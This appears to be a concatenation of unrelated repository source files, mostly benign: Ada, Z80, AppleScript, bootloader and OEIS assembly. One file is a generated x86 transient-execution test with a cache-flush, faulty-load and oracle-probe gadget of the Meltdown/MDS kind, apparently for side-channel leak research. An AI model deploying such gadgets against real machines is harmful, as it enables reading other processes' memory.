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src/frontend/Experimental_Ada_ROSE_Connection/parser/asis_adapter/source/asis_adapter-element-paths.adb
matzke1/rose
0
9382
<filename>src/frontend/Experimental_Ada_ROSE_Connection/parser/asis_adapter/source/asis_adapter-element-paths.adb with Asis.Elements; with Asis.Statements; package body Asis_Adapter.Element.Paths is ------------ -- EXPORTED: ------------ procedure Do_Pre_Child_Processing (Element : in Asis.Element; State : in out Class) is Parent_Name : constant String := Module_Name; Module_Name : constant String := Parent_Name & ".Do_Pre_Child_Processing"; Result : a_nodes_h.Path_Struct := a_nodes_h.Support.Default_Path_Struct; Path_Kind : constant Asis.Path_Kinds := Asis.Elements.Path_Kind (Element); procedure Add_Case_Path_Alternative_Choices is begin Add_Element_List (This => State, Elements_In => Asis.Statements.Case_Path_Alternative_Choices (Element), Dot_Label_Name => "Case_Path_Alternative_Choices", List_Out => Result.Case_Path_Alternative_Choices, Add_Edges => True); end; procedure Add_Condition_Expression is ID : constant a_nodes_h.Element_ID := Get_Element_ID (Asis.Statements.Condition_Expression (Element)); begin State.Add_To_Dot_Label_And_Edge ("Condition_Expression", ID); Result.Condition_Expression := ID; end; procedure Add_Guard is ID : constant a_nodes_h.Element_ID := Get_Element_ID (Asis.Statements.Guard (Element)); begin State.Add_To_Dot_Label_And_Edge ("Guard", ID); Result.Guard := ID; end; procedure Add_Sequence_Of_Statements is begin if Path_Kind in Asis.A_Statement_Path then Add_Element_List (This => State, Elements_In => Asis.Statements.Sequence_Of_Statements (Element), Dot_Label_Name => "Sequence_Of_Statements", List_Out => Result.Sequence_Of_Statements, Add_Edges => True); else -- Asis.Statements.Sequence_Of_Statements doesn't like paths outside -- A_Statement_Path: State.Add_Not_Implemented; end if; end; procedure Add_Common_Items is begin State.Add_To_Dot_Label ("Path_Kind", Path_Kind'Image); Result.Path_Kind := anhS.To_Path_Kinds (Path_Kind); Add_Sequence_Of_Statements; -- Has Add_Not_Implemented end Add_Common_Items; use all type Asis.Path_Kinds; begin If Path_Kind /= Not_A_Path then Add_Common_Items; -- Has Add_Not_Implemented end if; case Path_Kind is when Not_A_Path => raise Program_Error with Module_Name & " called with: " & Path_Kind'Image; when An_If_Path => Add_Condition_Expression; when An_Elsif_Path => Add_Condition_Expression; when An_Else_Path => null; -- No more info when A_Case_Path => Add_Case_Path_Alternative_Choices; when A_Select_Path => Add_Guard; when An_Or_Path => Add_Guard; when A_Then_Abort_Path => null; -- No more info when A_Case_Expression_Path => -- A2012 Add_Case_Path_Alternative_Choices; when An_If_Expression_Path => -- A2012 Add_Condition_Expression; when An_Elsif_Expression_Path => -- A2012 Add_Condition_Expression; when An_Else_Expression_Path => -- A2012 null; -- No more info end case; State.A_Element.Element_Kind := a_nodes_h.A_Path; State.A_Element.The_Union.Path := Result; end Do_Pre_Child_Processing; end Asis_Adapter.Element.Paths;
examples/tms.asm
feilipu/TMS9918A
1
161603
<reponame>feilipu/TMS9918A<filename>examples/tms.asm ; TMS9918A graphics subroutines ; Copyright 2018 <NAME> ; ; Permission is hereby granted, free of charge, to any person obtaining a ; copy of this software and associated documentation files (the "Software"), ; to deal in the Software without restriction, including without limitation ; the rights to use, copy, modify, merge, publish, distribute, sublicense, ; and/or sell copies of the Software, and to permit persons to whom the ; Software is furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER ; DEALINGS IN THE SOFTWARE. ; --------------------------------------------------------------------------- ; configuration parameters tmsram: equ $be ; TMS9918A VRAM port tmsreg: equ $bf ; TMS9918A register port tmswait: equ 1 ; wait divisor ; How this works: in the worst case scenario, the TMS9918A needs a delay of ; at least 8us between VRAM accesses from the CPU. I have counted CPU cycles ; used by the code in this library and when the code doesn't produce enough ; of a delay between memory accesses naturally, I inserted nops to increase ; the delay. The maximum number of nops added assume a 10MHz clock. When ; using a slower clock, fewer nops would be required. tmswait is used as ; the divisor when calculating the number of nops, so a higher divisor ; results in fewer nops being inserted into the code. Conservative values: ; ; 1 for <= 10 MHz ; 2 for <= 5 MHz ; 3 for <= 3.33 MHz ; ... and so on ; --------------------------------------------------------------------------- ; register constants tmswritebit: equ $40 ; bit to indicate memory write tmsregbit: equ $80 ; bit to indicate register write tmsctrl0: equ 0 ; control bits tmsmode3: equ 1 ; mode bit 3 tmsextvid: equ 0 ; external video tmsctrl1: equ 1 ; control bits tms4k16k: equ 7 ; 4/16K RAM tmsblank: equ 6 ; screen blank tmsinten: equ 5 ; interrupt enable tmsmode1: equ 4 ; mode bit 1 tmsmode2: equ 3 ; mode bit 2 tmssprsize: equ 1 ; sprite size tmssprmag: equ 0 ; sprite magnification tmsnametbl: equ 2 ; name table location (* $400) tmscolortbl: equ 3 ; color table location (* $40) ; graphics 2 mode: MSB 0 = $0000, MSB 1 = $2000 tmspattern: equ 4 ; pattern table location (* $800) tmsspriteattr: equ 5 ; sprite attribute table (* $80) tmsspritepttn: equ 6 ; sprite pattern table (* $800) tmscolor: equ 7 ; screen colors (upper = text, lower = background) ; --------------------------------------------------------------------------- ; color constants tmstransparent: equ 0 tmsblack: equ 1 tmsmedgreen: equ 2 tmslightgreen: equ 3 tmsdarkblue: equ 4 tmslightblue: equ 5 tmsdarkred: equ 6 tmscyan: equ 7 tmsmedred: equ 8 tmslightred: equ 9 tmsdarkyellow: equ $A tmslightyellow: equ $B tmsdarkgreen: equ $C tmsmagenta: equ $D tmsgray: equ $E tmswhite: equ $F ; --------------------------------------------------------------------------- ; register configuration routines ; shadow copy of register values tmsshadow: defs 8, 0 ; set a single register value ; A = register value ; E = register to set tmssetreg: ld hl, tmsshadow ; get shadow table address ld d, 0 add hl, de ; add offset to selected register ld (hl), a ; save to shadow slot out (tmsreg), a ; send to TMS ld a, tmsregbit ; select requested register or e out (tmsreg), a ret ; set the background color ; A = requested color tmsbackground: and $0F ; mask off high nybble ld b, a ; save for later ld a, (tmsshadow+tmscolor) ; get current colors and $F0 ; mask off old background or b ; set new background ld e, tmscolor jp tmssetreg ; set the color ; enable vblank interrupts tmsintenable: ld a, (tmsshadow+tmsctrl1) ; get current control register value set tmsinten, a ; set interrupt enable bit ld e, tmsctrl1 jp tmssetreg ; save it back ; disable vblank interrupts tmsintdisable: ld a, (tmsshadow+tmsctrl1) ; get current control register value res tmsinten, a ; clear interrupt enable bit ld e, tmsctrl1 jp tmssetreg ; save it back ; configure tms from specified register table ; HL = register table tmsconfig: ld de, tmsshadow ; start of shadow area ld c, 8 ; 8 registers regloop: ld a, (hl) ; get register value from table out (tmsreg), a ; send it to the TMS ld a, 8 ; calculate current register number sub c or tmsregbit ; set high bit to indicate a register ldi ; shadow, then inc pointers and dec counter out (tmsreg), a ; send it to the TMS xor a ; continue until count reaches 0 or c jr nz, regloop ret ; --------------------------------------------------------------------------- ; memory access routines ; set the next address of vram to write ; DE = address tmswriteaddr: ld a, e ; send lsb out (tmsreg), a ld a, d ; mask off msb to max of 16KB and $3F or $40 ; set second highest bit to indicate write out (tmsreg), a ; send msb ret ; set the next address of vram to read ; DE = address tmsreadaddr: ld a, e ; send lsb out (tmsreg), a ld a, d ; mask off msb to max of 16KB and $3F out (tmsreg), a ; send msb ret ; copy bytes from ram to vram ; HL = ram source address ; DE = vram destination address ; BC = byte count tmswrite: call tmswriteaddr ; set the starting address copyloop: ld a, (hl) ; get the current byte from ram out (tmsram), a ; send it to vram defs 11/tmswait, 0 ; nops to waste time inc hl ; next byte dec bc ; continue until count is zero ld a, b or c jr nz, copyloop ret ; fill a section of memory with a single value ; A = value to fill ; DE = vram destination address ; BC = byte count tmsfill: push af call tmswriteaddr ; set the starting address pop af fillloop: out (tmsram), a ; send it to vram defs 11/tmswait, 0 ; nops to waste time dec c jp nz, fillloop djnz fillloop ; continue until count is zero ret ; --------------------------------------------------------------------------- ; text routines ; set text color ; A = requested color tmstextcolor: add a, a ; shift text color into high nybble add a, a add a, a add a, a ld b, a ; save for later ld a, (tmsshadow+tmscolor) ; get current colors and $0F ; mask off old text color or b ; set new text color ld e, tmscolor jp tmssetreg ; save it back ; set the address to place text at X/Y coordinate ; A = X ; E = Y tmstextpos: ld d, 0 ld hl, 0 add hl, de ; Y x 1 add hl, hl ; Y x 2 add hl, hl ; Y x 4 add hl, de ; Y x 5 add hl, hl ; Y x 10 add hl, hl ; Y x 20 add hl, hl ; Y x 40 ld e, a add hl, de ; add column for final address ex de, hl ; send address to TMS call tmswriteaddr ret ; copy a null-terminated string to VRAM ; HL = ram source address tmsstrout: ld a, (hl) ; get the current byte from ram cp 0 ; return when NULL is encountered ret z out (tmsram), a ; send it to vram defs 14/tmswait, 0 ; nops to waste time inc hl ; next byte jr tmsstrout ; repeat a character a certain number of times ; A = character to output ; B = count tmschrrpt: out (tmsram), a defs 14/tmswait, 0 djnz tmschrrpt ret ; output a character ; A = character to output tmschrout: out (tmsram), a defs 14/tmswait, 0 ret ; --------------------------------------------------------------------------- ; bitmap routines tmsclearpixel: equ $A02F ; cpl, and b tmssetpixel: equ $00B0 ; nop, or b ; set operation for tmsplotpixel to perform ; HL = pixel operation (tmsclearpixel, tmssetpixel) tmspixelop: ld (maskop), hl ret ; set or clear pixel at X, Y position ; B = Y position ; C = X position tmsplotpixel: ld a, b ; don't plot Y coord > 191 cp 192 ret nc call tmsxyaddr ; get address for X/Y coord call tmsreadaddr ; set read within pattern table ld hl, masklookup ; address of mask in table ld a, c ; get lower 3 bits of X coord and 7 ld b, 0 ld c, a add hl, bc ld a, (hl) ; get mask in A ld c, tmsram ; get previous byte in B in b, (c) maskop: or b ; mask bit in previous byte ld b, a call tmswriteaddr ; set write address within pattern table out (c), b ret masklookup: defb 80h, 40h, 20h, 10h, 8h, 4h, 2h, 1h ; set the color for a block of pixels in bitmap mode ; B = Y position ; C = X position ; A = foreground/background color to set tmspixelcolor: call tmsxyaddr ld hl, 2000h ; add the color table base address add hl, de ex de, hl call tmswriteaddr ; set write address within color table out (tmsram), a ; send to TMS ret ; calculate address byte containing X/Y coordinate ; B = Y position ; C = X position ; returns address in DE tmsxyaddr: ld a, b ; d = (y / 8) rrca rrca rrca and 1fh ld d, a ld a, c ; e = (x & f8) and 0f8h ld e, a ld a, b ; e += (y & 7) and 7 or e ld e, a ret ; --------------------------------------------------------------------------- ; initialization routines ; register values for blanked screen with 16KB RAM enabled tmsblankreg: defb $00, $80, $00, $00, $00, $00, $00, $00 ; reset registers and clear all 16KB of video memory tmsreset: ld hl, tmsblankreg ; blank the screen with 16KB enabled call tmsconfig ld de, 0 ; start a address 0000H call tmswriteaddr ld de, $4000 ; write 16KB ld bc, tmsram ; writing 0s to vram clearloop: out (c), b ; send to vram dec de ; continue until counter is 0 ld a, d or e jr nz, clearloop ret ; register values for multicolor mode tmsmcreg: defb %00000000 ; external video disabled defb %11001000 ; 16KB, display enabled, multicolor mode defb $02 ; name table at $8000 defb $00 ; color table not used defb $00 ; pattern table at $0000 defb $76 ; sprite attribute table at $3B00 defb $03 ; sprite pattern table at $1800 defb $00 ; black background ; initialize tms for multicolor mode tmsmulticolor: call tmsreset ; blank the screen and clear vram ld de, $0800 ; set name table start address call tmswriteaddr ld d, 6 ; nametable has 6 different sections ld e, 0 ; first section starts at 0 sectionloop: ld c, 4 ; each section has 4 identical lines lineloop: ld b, 32 ; each line is 32 bytes long ld a, e ; load the section's starting value byteloop: out (tmsram), a ; output current name byte nop ; extra time to finish vram write inc a ; increment name byte djnz byteloop ; next byte dec c ; decrement line counter jr nz, lineloop ; next line ld a, e ; next section's starting value is 32 add a, 32 ; ...more than the previous section ld e, a dec d ; decrement section counter jr nz, sectionloop ; next section ld hl, tmsmcreg ; switch to multicolor mode call tmsconfig ret ; register values for bitmapped graphics tmsbitmapreg: defb %00000010 ; bitmap mode, no external video defb %11000010 ; 16KB ram; enable display defb $0e ; name table at $3800 defb $ff ; color table at $2000 defb $03 ; pattern table at $0 defb $76 ; sprite attribute table at $3B00 defb $03 ; sprite pattern table at $1800 defb $01 ; black background ; initialize TMS for bitmapped graphics tmsbitmap: call tmsreset ld de, $3800 ; initialize nametable with 3 sets call tmswriteaddr ; of 256 bytes ranging from 00-FF ld b, 3 ld a, 0 nameloop: out (tmsram), a nop inc a jr nz, nameloop djnz nameloop ld hl, tmsbitmapreg ; configure registers for bitmapped graphics call tmsconfig ret tmstilereg: defb %00000000 ; graphics 1 mode, no external video defb %11000000 ; 16K, enable display, disable interrupt defb $05 ; name table at $1400 defb $80 ; color table at $2000 defb $01 ; pattern table at $800 defb $20 ; sprite attribute table at $1000 defb $00 ; sprite pattern table at $0 defb $01 ; black background ; initialize TMS for tiled graphics tmstile: call tmsreset ld hl, tmstilereg call tmsconfig ret tmstextreg: defb %00000000 ; text mode, no external video defb %11010000 ; 16K, Enable Display, Disable Interrupt defb $00 ; name table at $0000 defb $00 ; color table not used defb $01 ; pattern table at $0800 defb $00 ; sprite attribute table not used defb $00 ; sprite pattern table not used defb $F1 ; white text on black background ; initialize TMS for text mode ; HL = address of font to load tmstextmode: push hl ; save address of font call tmsreset pop hl ; load font into pattern table ld de, $0800 ld bc, $0800 call tmswrite ld hl, tmstextreg call tmsconfig ret
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1315.asm
ljhsiun2/medusa
9
28345
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_WT_ht+0x15642, %rsi lea addresses_WC_ht+0x9bc2, %rdi clflush (%rdi) nop nop nop xor %r8, %r8 mov $100, %rcx rep movsw nop nop nop xor %r9, %r9 lea addresses_WC_ht+0xd74a, %rsi lea addresses_WT_ht+0x9dc2, %rdi sub %r10, %r10 mov $72, %rcx rep movsw nop nop nop dec %rdi lea addresses_A_ht+0x9682, %rdi nop and $64430, %r10 movb (%rdi), %r8b nop nop nop nop cmp $28949, %rsi lea addresses_D_ht+0xd528, %r9 nop add %r14, %r14 movb $0x61, (%r9) nop nop nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x18b4a, %rcx nop nop nop nop cmp $41339, %r14 mov (%rcx), %esi nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0xfac2, %r14 nop nop nop nop nop and $55196, %r9 movw $0x6162, (%r14) nop nop nop nop dec %r8 lea addresses_D_ht+0x1952a, %rsi lea addresses_UC_ht+0x1efe2, %rdi nop nop add $65099, %r15 mov $49, %rcx rep movsw nop and %r9, %r9 lea addresses_A_ht+0x1b2c2, %rsi lea addresses_A_ht+0x82c2, %rdi nop inc %r8 mov $34, %rcx rep movsw nop nop add %r15, %r15 lea addresses_normal_ht+0xc644, %rsi lea addresses_normal_ht+0xf52a, %rdi nop nop nop nop nop xor %r10, %r10 mov $38, %rcx rep movsq nop inc %r9 lea addresses_D_ht+0x186c2, %r10 nop nop add $29727, %r14 vmovups (%r10), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi nop nop xor $28576, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi // Store lea addresses_normal+0x18ec2, %rdi nop nop nop nop nop add %rax, %rax mov $0x5152535455565758, %r15 movq %r15, %xmm1 vmovups %ymm1, (%rdi) nop nop nop nop add $18885, %r15 // Store lea addresses_PSE+0x2ec2, %r11 nop sub %rax, %rax movw $0x5152, (%r11) nop nop dec %r11 // Store lea addresses_D+0x49c3, %r13 nop and $35147, %r14 mov $0x5152535455565758, %r15 movq %r15, %xmm2 vmovups %ymm2, (%r13) nop nop nop and %rax, %rax // REPMOV lea addresses_US+0x13a9d, %rsi lea addresses_normal+0x17ac2, %rdi clflush (%rdi) and %r14, %r14 mov $7, %rcx rep movsw nop nop nop nop nop sub $28348, %rdi // Faulty Load mov $0x36e11f00000002c2, %r15 nop nop xor %r13, %r13 movups (%r15), %xmm7 vpextrq $0, %xmm7, %rax lea oracles, %r14 and $0xff, %rax shlq $12, %rax mov (%r14,%rax,1), %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_US', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 10, 'same': False}} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 5}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 9}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 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00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Task/Palindrome-detection/AppleScript/palindrome-detection.applescript
LaudateCorpus1/RosettaCodeData
1
1932
use framework "Foundation" -- CASE-INSENSITIVE PALINDROME, IGNORING SPACES ? ---------------------------- -- isPalindrome :: String -> Bool on isPalindrome(s) s = intercalate("", reverse of characters of s) end isPalindrome -- toSpaceFreeLower :: String -> String on spaceFreeToLower(s) script notSpace on |λ|(s) s is not space end |λ| end script intercalate("", filter(notSpace, characters of toLower(s))) end spaceFreeToLower -- TEST ---------------------------------------------------------------------- on run isPalindrome(spaceFreeToLower("In girum imus nocte et consumimur igni")) --> true end run -- GENERIC FUNCTIONS --------------------------------------------------------- -- filter :: (a -> Bool) -> [a] -> [a] on filter(f, xs) tell mReturn(f) set lst to {} set lng to length of xs repeat with i from 1 to lng set v to item i of xs if |λ|(v, i, xs) then set end of lst to v end repeat return lst end tell end filter -- intercalate :: Text -> [Text] -> Text on intercalate(strText, lstText) set {dlm, my text item delimiters} to {my text item delimiters, strText} set strJoined to lstText as text set my text item delimiters to dlm return strJoined end intercalate -- Lift 2nd class handler function into 1st class script wrapper -- mReturn :: Handler -> Script on mReturn(f) if class of f is script then f else script property |λ| : f end script end if end mReturn -- toLower :: String -> String on toLower(str) set ca to current application ((ca's NSString's stringWithString:(str))'s ¬ lowercaseStringWithLocale:(ca's NSLocale's currentLocale())) as text end toLower
dino/lcs/enemy/44.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
6
14471
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D3A move.l D0, (A4)+ 004D3C move.l D0, (A4)+ 01291A movea.l ($44,A2), A4 01291E adda.w D0, A4 [123p+ 44, 123p+ 46, enemy+44, enemy+46, item+44, item+46] 012928 movea.l ($44,A3), A6 01292C adda.w D1, A6 [123p+ 44, 123p+ 46, enemy+44, enemy+46, item+44, item+46] 0129B8 movea.l ($44,A3), A6 0129BC move.w (A6,D1.w), D1 [enemy+44, enemy+46] 012A5C movea.l ($44,A2), A4 012A60 add.w D0, D0 [enemy+44, enemy+46] 012A6E movea.l ($44,A3), A6 012A72 adda.w D1, A6 [123p+ 44, 123p+ 46, enemy+44, enemy+46] 0338A6 move.l #$103000, ($44,A6) 0338AE clr.b ($4a,A6) [enemy+44, enemy+46] 0338DA move.l #$103000, ($44,A6) 0338E2 clr.b ($4a,A6) [enemy+44, enemy+46] 03390E move.l #$103000, ($44,A6) 033916 clr.b ($4a,A6) [enemy+44, enemy+46] 0359C0 move.l #$103c00, ($44,A6) 0359C8 clr.b ($4a,A6) [enemy+44, enemy+46] 03B2F0 move.l #$103c00, ($44,A6) 03B2F8 clr.b ($4a,A6) [enemy+44, enemy+46] 03B86A move.l #$103000, ($44,A6) 03B872 clr.b ($4a,A6) [enemy+44, enemy+46] 03DE6C move.l #$103c00, ($44,A6) 03DE74 clr.b ($4a,A6) [enemy+44, enemy+46] 040332 move.l #$103c00, ($44,A6) 04033A clr.b ($4a,A6) [enemy+44, enemy+46] 04212C move.l #$103000, ($44,A6) [enemy+40, enemy+42] 042134 clr.b ($4a,A6) [enemy+44, enemy+46] 042626 move.l #$103000, ($44,A6) 04262E clr.b ($4a,A6) [enemy+44, enemy+46] 045824 move.l #$103000, ($44,A6) 04582C clr.b ($4a,A6) [enemy+44, enemy+46] 0483C0 move.l #$106000, ($44,A6) 0483C8 move.b #$1, ($4a,A6) [enemy+44, enemy+46] 04D920 move.l #$103000, ($44,A6) 04D928 clr.b ($4a,A6) [enemy+44, enemy+46] 04DD3A move.l #$106000, ($44,A6) 04DD42 move.b #$1, ($4a,A6) [enemy+44, enemy+46] 04FD7A move.l #$103000, ($44,A6) 04FD82 clr.b ($4a,A6) [enemy+44, enemy+46] 0512CA move.l #$103c00, ($44,A6) 0512D2 clr.b ($4a,A6) [enemy+44, enemy+46] 053450 move.l #$103c00, ($44,A6) 053458 clr.b ($4a,A6) [enemy+44, enemy+46] 0558AA move.l #$103c00, ($44,A6) [enemy+63] 0558B2 clr.b ($4a,A6) [enemy+44, enemy+46] 055B40 move.l #$103000, ($44,A6) 055B48 clr.b ($4a,A6) [enemy+44, enemy+46] 0572AC move.l #$103c00, ($44,A6) 0572B4 clr.b ($4a,A6) [enemy+44, enemy+46] 0578B8 move.l #$103c00, ($44,A6) 0578C0 clr.b ($4a,A6) [enemy+44, enemy+46] 057FC8 move.l #$103c00, ($44,A6) 057FD0 clr.b ($4a,A6) [enemy+44, enemy+46] 0580DA move.l #$103c00, ($44,A6) 0580E2 clr.b ($4a,A6) [enemy+44, enemy+46] 0584D4 move.l #$103c00, ($44,A6) 0584DC clr.b ($4a,A6) [enemy+44, enemy+46] 05A4C2 move.l #$103c00, ($44,A6) 05A4CA clr.b ($4a,A6) [enemy+44, enemy+46] 05AAD2 move.l #$103c00, ($44,A6) 05AADA clr.b ($4a,A6) [enemy+44, enemy+46] 05B0AC move.l #$103000, ($44,A6) [enemy+6E] 05B0B4 clr.b ($4a,A6) [enemy+44, enemy+46] 05B930 move.l #$c0100000, ($44,A6) [enemy+ 6] 05B938 clr.b ($4a,A6) [enemy+44, enemy+46] 05C3D8 move.l #$103000, ($44,A6) [enemy+ 6] 05C3E0 clr.b ($4a,A6) [enemy+44, enemy+46] 05EE4C move.l #$103000, ($44,A6) [enemy+ 4] 05EE54 clr.b ($4a,A6) [enemy+44, enemy+46] 05F61A move.l #$103000, ($44,A6) 05F622 clr.b ($4a,A6) [enemy+44, enemy+46] 06A21E move.l #$103c00, ($44,A6) 06A226 clr.b ($4a,A6) [enemy+44, enemy+46] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
stage1/gdt.asm
Killaship/limine
658
22095
gdt: dw .size - 1 + 8 ; GDT size dd .start - 8 ; GDT start address .start: ; 32-bit code dw 0xffff ; Limit dw 0x0000 ; Base (low 16 bits) db 0x00 ; Base (mid 8 bits) db 10011010b ; Access db 11001111b ; Granularity db 0x00 ; Base (high 8 bits) ; 32-bit data dw 0xffff ; Limit dw 0x0000 ; Base (low 16 bits) db 0x00 ; Base (mid 8 bits) db 10010010b ; Access db 11001111b ; Granularity db 0x00 ; Base (high 8 bits) .end: .size: equ .end - .start
WEEK-4/11.asm
ShruKin/Microprocessor-and-Microcontroller-Lab
0
167775
LDA 9050 ANI 0F STA 9051 HLT
oeis/003/A003141.asm
neoneye/loda-programs
11
80360
<reponame>neoneye/loda-programs<gh_stars>10-100 ; A003141: Minimal number of arcs whose reversal yields a transitive tournament. ; Submitted by <NAME> ; 0,0,0,1,1,3,4,7,8,12,15,20,22,28 mov $3,$0 mov $4,1 mov $5,1 lpb $3 mov $1,$4 sub $3,1 mul $1,$3 add $5,$4 div $1,$5 add $2,$1 sub $3,1 add $4,2 mov $5,1 lpe mov $0,$2
programs/oeis/158/A158638.asm
neoneye/loda
22
7608
